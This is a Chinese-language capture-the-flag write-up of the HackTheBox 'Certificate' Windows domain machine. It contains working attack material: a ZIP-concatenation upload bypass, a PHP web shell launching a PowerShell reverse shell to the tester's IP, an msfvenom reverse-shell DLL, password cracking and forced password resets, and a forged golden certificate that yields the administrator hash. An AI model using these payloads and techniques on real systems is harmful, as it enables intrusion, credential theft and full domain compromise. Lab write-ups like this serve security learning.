Season8 - Certificate

https://app.hackthebox.com/machines/Certificate | Windows | Hard

前期踩点

➜  Certificate nmap -sT -min-rate 5000 10.10.11.71             
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-01 21:18 CST
Nmap scan report for 10.10.11.71
Host is up (0.050s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman

➜  Certificate nmap -sT -A -p 80,135,139,445,636,389 10.10.11.71
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-01 21:19 CST
Nmap scan report for 10.10.11.71
Host is up (0.076s latency).

PORT    STATE SERVICE       VERSION
80/tcp  open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-title: Did not follow redirect to http://certificate.htb/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-01T20:59:35+00:00; +7h38m38s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after:  2025-11-04T03:14:54
445/tcp open  microsoft-ds?
636/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-01T20:59:36+00:00; +7h38m37s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after:  2025-11-04T03:14:54
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-06-01T20:58:58
|_  start_date: N/A
|_clock-skew: mean: 7h38m37s, deviation: 0s, median: 7h38m37s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

TRACEROUTE (using proto 1/icmp)
HOP RTT      ADDRESS
1   85.58 ms 10.10.16.1
2   87.46 ms 10.10.11.71

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.74 seconds

刚刚尝试了SMB无法使用匿名账户进行访问，因为还扫描到了80端口，所以从Web下手

Web

访问 HTTP 并采集指纹

其中还有登录页和注册页

创建了一个账户 sunset 并使用账户进行登录，并且用户类型有student和teacher，没有发现什么登陆之后才有的功能，教师用户登录不进去

扫描一下网站目录

➜  Certificate dirsearch -u http://certificate.htb/ -e php,txt,zip -x 403,404,503
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, txt, zip | HTTP method: GET | Threads: 25 | Wordlist size: 10439

Output File: /root/Desktop/HackTheBox/Certificate/reports/http_certificate.htb/__25-06-01_21-34-42.txt

Target: http://certificate.htb/

[21:34:42] Starting: 
[21:34:50] 200 -   14KB - /about.php
[21:35:01] 500 -  638B  - /cgi-bin/printenv.pl
[21:35:05] 200 -    0B  - /db.php
[21:35:09] 200 -    3KB - /footer.php
[21:35:10] 200 -    2KB - /header.php
[21:35:15] 200 -    9KB - /login.php
[21:35:15] 302 -    0B  - /logout.php  ->  login.php
[21:35:25] 200 -   11KB - /register.php
[21:35:30] 301 -  343B  - /static  ->  http://certificate.htb/static/
[21:35:30] 301 -  345B  - /static..  ->  http://certificate.htb/static../
[21:35:34] 302 -    0B  - /upload.php  ->  login.php

Task Completed

扫描出来 upload.php 访问一下，貌似缺少参数

最后在 course 中可以找到上传页面

该处可能存在文件上传漏洞

文件上传利用 & ZipSlip? & ZIP Concatenation?

上传页面中提示：

Please select the assignment file you want to upload (the file will be reviewed by the course instructor)

请选择您要上传的作业文件（该文件将由课程讲师审核）
We accept only the following file types: .pdf .docx .pptx .xlsx

我们只接受以下文件类型：.pdf .docx .pptx .xlsx
You include the assignment file in .zip archive file to reduce it's size

将任务文件包含在存档文件中.zip以减小其大小

经过测试，可以直接上传PDF文件，并且会检查文件头。也可以将pdf以zip格式压缩，然后上传（这里不能使用bindzip），上传zip文件之后会自动进行解压。

这里对上传功能点进行了常规的测试，例如修改文件后缀名等等，但是无法成功。

通过网络搜索，发现还可能存在 ZipSlip 漏洞

https://medium.com/@ibm_ptc_security/zip-slip-attack-e3e63a13413f

能达到RCE的效果，可以覆盖 /etc/passwd 文件或者公钥文件或者其他文件

一些利用了ZipSlip的CTF：https://starlox.medium.com/cyberspace2024-zipzone-ctf-zipslip-vulnerability-00489669feec

我这里尝试了

➜  Certificate tree zip 
zip
├── 1.pdf
└── evil
    └── test.php

➜  Certificate zip 2.zip zip/*
  adding: zip/1.pdf (deflated 7%)
  adding: zip/evil/ (stored 0%)

然后上传2.zip ，但是页面不回显，无法得到上传后的文件夹路径

别人分享的一个链接：https://perception-point.io/blog/evasive-concatenated-zip-trojan-targets-windows-users/，其中的 Chained Archives Explained: Concatenated ZIPs 可能对我们有效

➜  Certificate ls               
1.pdf  evil

➜  Certificate ls evil   
test.php

➜  Certificate zip -r 1.zip evil
  adding: evil/ (stored 0%)
  adding: evil/test.php (stored 0%)
  
➜  Certificate zip 2.zip 1.pdf  
  adding: 1.pdf (deflated 7%)
  
➜  Certificate cat 1.zip 2.zip > 3.zip  （无法上传）

➜  Certificate cat 2.zip 1.zip > 3.zip  （成功上传）

点击访问，并输入 evil/test.php 成功执行！！

上传一句话木马

<?php shell_exec("powershell -nop -w hidden -c \"\$client = New-Object System.Net.Sockets.TCPClient('10.10.16.43',4444); \$stream = \$client.GetStream(); [byte[]]\$bytes = 0..65535|%{0}; while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){; \$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0,\$i); \$sendback = (iex \$data 2>&1 | Out-String ); \$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> '; \$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2); \$stream.Write(\$sendbyte,0,\$sendbyte.Length); \$stream.Flush()}; \$client.Close()\"");?>

PS：这里假如断开了，下次再连接是使用新的端口接收 shell

malicious_files/shell.php

Mysql Dump

我们扫描目录的时候能看到存在db.php ,我们将其读取

<?php
// Database connection using PDO
try {
    $dsn = 'mysql:host=localhost;dbname=Certificate_WEBAPP_DB;charset=utf8mb4';
    $db_user = 'certificate_webapp_user'; // Change to your DB username
    $db_passwd = 'cert!f!c@teDBPWD'; // Change to your DB password
    $options = [
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    ];
    $pdo = new PDO($dsn, $db_user, $db_passwd, $options);
} catch (PDOException $e) {
    die('Database connection failed: ' . $e->getMessage());
}
?>

读取数据库的数据

PS C:\xampp\mysql\bin> & "C:\xampp\mysql\bin\mysql.exe" -u certificate_webapp_user -p"cert!f!c@teDBPWD" -D Certificate_WEBAPP_DB -e "show tables;"
Tables_in_certificate_webapp_db
course_sessions
courses
users
users_courses

PS C:\xampp\mysql\bin> & "C:\xampp\mysql\bin\mysql.exe" -u certificate_webapp_user -p"cert!f!c@teDBPWD" -D Certificate_WEBAPP_DB -e "select * from users;"
id      first_name      last_name       username        email   password        created_at      role    is_active
1       Lorra   Armessa Lorra.AAA       lorra.aaa@certificate.htb       $2y$04$bZs2FUjVRiFswY84CUR8ve02ymuiy0QD23XOKFuT6IM2sBbgQvEFG    2024-12-23 12:43:10     teacher 1
6       Sara    Laracrof        Sara1200        sara1200@gmail.com      $2y$04$pgTOAkSnYMQoILmL6MRXLOOfFlZUPR4lAD2kvWZj.i/dyvXNSqCkK    2024-12-23 12:47:11     teacher 1
7       John    Wood    Johney  johny009@mail.com       $2y$04$VaUEcSd6p5NnpgwnHyh8zey13zo/hL7jfQd9U.PGyEW3yqBf.IxRq    2024-12-23 13:18:18     student 1
8       Havok   Watterson       havokww havokww@hotmail.com     $2y$04$XSXoFSfcMoS5Zp8ojTeUSOj6ENEun6oWM93mvRQgvaBufba5I5nti    2024-12-24 09:08:04     teacher 1
9       Steven  Roman   stev    steven@yahoo.com        $2y$04$6FHP.7xTHRGYRI9kRIo7deUHz0LX.vx2ixwv0cOW6TDtRGgOhRFX2    2024-12-24 12:05:05     student 1
10      Sara    Brawn   sara.b  sara.b@certificate.htb  $2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6    2024-12-25 21:31:26     admin   1
12      sunset  sunset  sunset  1@q.xom $2y$04$46hjL/TUPqsT3KI7R/6tje1JOSy5.riL8ABfus1G8WZujELAgnQvy    2025-06-01 16:49:22     student 1
13      r       r       admin   t@t.com $2y$04$ui6Qc/eaGGRKK2ovA4iJne7qbd1uSkm5lVbEHnPWWKYYwzb2s0hY2    2025-06-01 16:49:28     student 1
14      sunset2 sunset2 sunset2 1@qq.com        $2y$04$F5Rr9QzbhhaEh7QhJKKwz.ClZdVaA9QPI9RBdy8v.G/Pc7TDAO196    2025-06-01 16:57:14     student 1
16      admin123        admin123        admin123        admin123@gmail.com      $2y$04$ViY8NzbVBvUlwppQcDrld.mh.1XcGQkc4lt6j5Uhj7IPyGq4Z0hQu    2025-06-01 16:59:02     student 1
17      Admin   Admin   adminsucks      admin@gmail.com $2y$04$FMa5TpAFpTDu5EwgVzybnuAJFryR18dzfSqZGLQFzHhqj/BwksTdy    2025-06-01 17:12:43     student 1
18      admin   adnim   adminadnim      admin@adnim.com $2y$04$x.Ak4KXkM.MLNA0JgCEPxevbFuBioVs5NONlqrw.eO2js1/5AQh8i    2025-06-01 17:14:15     teacher 0
19      1       2       3       test@test.com   $2y$04$dFR.yVKC/u9UwlPsyxa5fO11vPvZnFUhRxi2Uf25SoGQRaTE6SmBW    2025-06-01 17:16:12     teacher 0
20      test2   test2   test2   test2@test.com  $2y$04$Ci4wfETizE9WCrUgpC4tyuI7s4oLIpK/DWb/uhjO2IKTRIfD9JUGy    2025-06-01 17:17:40     teacher 0
22      test3   test3   test3   test3@test.com  $2y$04$m51Lz73GtqPoAzovxJeCM.B8/SAkDERIl7OBZfxAAQahNpiVFPsKe    2025-06-01 17:34:30     student 1

其中我们感兴趣的用户有两条

10      Sara    Brawn   sara.b  sara.b@certificate.htb  $2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6    2024-12-25 21:31:26     admin   1
1       Lorra   Armessa Lorra.AAA       lorra.aaa@certificate.htb       $2y$04$bZs2FUjVRiFswY84CUR8ve02ymuiy0QD23XOKFuT6IM2sBbgQvEFG    2024-12-23 12:43:10     teacher 1

对密码进行爆破

➜  Certificate john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash  
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 16 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Blink182         (?)

爆破了好一会将sara.b 的密码爆破出来了

测试用户有效性

➜  Certificate nxc smb 10.10.11.71 -u sara.b -p Blink182 -d certificate.htb
SMB         10.10.11.71     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certificate.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.71     445    DC01             [+] certificate.htb\sara.b:Blink182

域分析

bloodhound-python 搜集信息

➜  Certificate bloodhound-python -u 'sara.b' -p 'Blink182' -d 'certificate.htb' -ns 10.10.11.71 --zip -c All -dc 'DC01.certificate.HTB'
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: certificate.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: DC01.certificate.HTB
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 3 computers
INFO: Connecting to LDAP server: DC01.certificate.HTB
INFO: Found 19 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: WS-05.certificate.htb
INFO: Querying computer: WS-01.certificate.htb
INFO: Done in 00M 20S
INFO: Compressing output into 20250602223438_bloodhound.zip

发现用户 sara.b 是属于 REMOTE MANAGEMENT USERS组的

并且是 Account Operators组的用户

那就是可以更改用户的密码、创建用户组等，但是不能直接修改 admins 组用户的密码

查看一下 Domain Admins 组，只有 administrator 用户一个，故无法直接获得域权限

先使用 sara.b 登录到 DC 进行信息收集

➜  Certificate evil-winrm -i 10.10.11.71 -u 'sara.b' -p 'Blink182' 
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Sara.B\Documents>

查看users 文件夹，有好几个用户，先做好打算横向到哪一个用户

*Evil-WinRM* PS C:\Users> ls

    Directory: C:\Users

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       12/30/2024   8:33 PM                Administrator
d-----       11/23/2024   6:59 PM                akeder.kh
d-----        11/4/2024  12:55 AM                Lion.SK
d-r---        11/3/2024   1:05 AM                Public
d-----        11/3/2024   7:26 PM                Ryan.K
d-----         6/2/2025   8:17 AM                saad.m
d-----       11/26/2024   4:12 PM                Sara.B
d-----       12/29/2024   5:30 PM                xamppuser

其中最令人感兴趣的是 LION.SK 和 RYAN.K

LION.SK 属于DOMAIN CRA MANAGERS 该组解释是：该安全组的成员负责为域用户发行和撤销多个证书

RYAN.K 属于 DOMAIN STORAGE MANAGERS 改组解释是：该安全组的成员负责量级任务，例如维护，碎片部和管理分区和磁盘

查看一下俩用户权限

更改用户LION.SK 的密码

➜  Certificate bloodyAD -d certificate.htb -u 'sara.b' -p 'Blink182' --dc-ip 10.10.11.71 set password LION.SK 'Password123!!!'
[+] Password changed successfully!

在 LION.SK 用户家目录中能得到 user.txt

*Evil-WinRM* PS C:\Users\Lion.SK\Desktop> type user.txt
4c634600c2be9138b12e74ac6f288176

枚举用户权限

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

更改用户RYAN.K 的密码

➜  Certificate bloodyAD -d certificate.htb -u 'sara.b' -p 'Blink182' --dc-ip 10.10.11.71 set password RYAN.K 'Password123!!!'
[+] Password changed successfully!

➜  Certificate evil-winrm -i 10.10.11.71 -u 'RYAN.K' -p 'Password123!!!'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Ryan.K\Documents>

发现 RYAN.K 用户有 SeManageVolumePrivilege 权限

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                      State
============================= ================================ =======
SeMachineAccountPrivilege     Add workstations to domain       Enabled
SeChangeNotifyPrivilege       Bypass traverse checking         Enabled
SeManageVolumePrivilege       Perform volume maintenance tasks Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set   Enabled

SeManageVolumePrivilege 滥用

找到一些利用文档和POC：https://github.com/CsEnox/SeManageVolumeExploit | https://cn-sec.com/archives/3100947.html

改权限大致是让我们能拥有写入 C 盘的权限

*Evil-WinRM* PS C:\Users\Ryan.K\Documents> echo '1' > ../../../1.txt
Access to the path 'C:\1.txt' is denied.
At line:1 char:1
+ echo '1' > ../../../1.txt
+ ~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OpenError: (:) [Out-File], UnauthorizedAccessException
    + FullyQualifiedErrorId : FileOpenFailure,Microsoft.PowerShell.Commands.OutFileCommand

*Evil-WinRM* PS C:\Users\Ryan.K\Documents> upload SeManageVolumeExploit.exe
                                        
Info: Uploading /root/Desktop/HackTheBox/Certificate/SeManageVolumeExploit.exe to C:\Users\Ryan.K\Documents\SeManageVolumeExploit.exe
                                        
Data: 16384 bytes of 16384 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Users\Ryan.K\Documents> ./SeManageVolumeExploit.exe
Entries changed: 859

DONE

成功写入 C 盘

*Evil-WinRM* PS C:\Users\Ryan.K\Documents> echo '1' > ../../../1.txt

DLL hijack？

POC链接中的DLL劫持无法使用，因为没有存在 spool 文件夹

*Evil-WinRM* PS C:\windows\system32> cmd /c dir | findstr spoo
11/26/2024  07:02 PM            93,184 spoolss.dll
11/26/2024  07:03 PM           564,224 winspool.drv

但是可以劫持别的DLL

https://github.com/xct/SeManageVolumeAbuse

这里有别的DLL劫持方法，同时系统也存在该DLL

*Evil-WinRM* PS C:\windows\system32\wbem> cmd /c dir | findstr tzres
06/02/2025  09:33 AM             9,216 tzres.dll

➜  Certificate msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.45 LPORT=1234 -f dll -o tzres.dll 
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: tzres.dll

但是最后 systeminfo Access is denied

*Evil-WinRM* PS C:\windows\system32\wbem> systeminfo
Program 'systeminfo.exe' failed to run: Access is deniedAt line:1 char:1
+ systeminfo
+ ~~~~~~~~~~.
At line:1 char:1
+ systeminfo
+ ~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
    + FullyQualifiedErrorId : NativeCommandFailed

CA.pfx

佬们给出了另外一个方案，拥有SeManageVolumePrivilege 权限后可以通过certuil 来导出证书

枚举CA

➜  Certificate certipy-ad find -u sara.b -p 'Blink182' -dc-ip 10.10.11.71 -text

导出CA的证书

*Evil-WinRM* PS C:\Users\Ryan.K\Documents> certutil -exportPFX my "Certificate-LTD-CA" C:\Users\Public\ca.pfx
my "Personal"
================ Certificate 2 ================
Serial Number: 75b2f4bbf31f108945147b466131bdca
Issuer: CN=Certificate-LTD-CA, DC=certificate, DC=htb
 NotBefore: 11/3/2024 3:55 PM
 NotAfter: 11/3/2034 4:05 PM
Subject: CN=Certificate-LTD-CA, DC=certificate, DC=htb
Certificate Template Name (Certificate Type): CA
CA Version: V0.0
Signature matches Public Key
Root Certificate: Subject matches Issuer
Template: CA, Root Certification Authority
Cert Hash(sha1): 2f02901dcff083ed3dbb6cb0a15bbfee6002b1a8
  Key Container = Certificate-LTD-CA
  Unique container name: 26b68cbdfcd6f5e467996e3f3810f3ca_7989b711-2e3f-4107-9aae-fb8df2e3b958
  Provider = Microsoft Software Key Storage Provider
Signature test passed
Enter new password for output file C:\Users\Public\ca.pfx:
Enter new password:
Confirm new password:
CertUtil: -exportPFX command completed successfully.

*Evil-WinRM* PS C:\Users\Ryan.K\Documents> download ../../Public/ca.pfx
                                        
Info: Downloading C:\Users\Ryan.K\Documents\../../Public/ca.pfx to ca.pfx
                                        
Info: Download successful!

CertUtil 会打开“my”证书存储（Personal/My），找到主题名称 (Subject Name / Issued To) 或**友好名称 (Friendly Name)**为“Certificate-LTD-CA”的那张证书
然后把这张证书及其私钥（以及可能的证书链）打包成一个 PFX 文件
最终会在 C:\Users\Public\ca.pfx 位置生成一个二进制的 PFX 文件

Golden certificate

拿到 ca.pfx 的证书公私钥后可以进行黄金证书（Golden certificate）攻击

https://www.thehacker.recipes/ad/persistence/adcs/golden-certificate

伪造administrator 的证书

➜  Certificate certipy-ad forge -ca-pfx ca.pfx -upn administrator@certificate.htb -subject 'CN=Administrator,CN=Users,DC=certificate,DC=htb' -out administrator_forge.pfx
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Saving forged certificate and private key to 'administrator_forge.pfx'
[*] Wrote forged certificate and private key to 'administrator_forge.pfx'

使用证书获取TGT

➜  Certificate certipy-ad auth -pfx administrator_forge.pfx -dc-ip 10.10.11.71 -domain certificate.htb -username administrator
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@certificate.htb'
[*] Using principal: 'administrator@certificate.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certificate.htb': aad3b435b51404eeaad3b435b51404ee:d804304519bf0143c14cbf1c024408c6

root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
7d69ba1c8bb2ee23ff27f0e1610caa3b

总结

任重道远，不会的还是多…比如利用certutil来导出证书这一点，以及文件上传的ZipSlip ，总的也是学习到了新东西

HackTheBox - Season8 - Certificate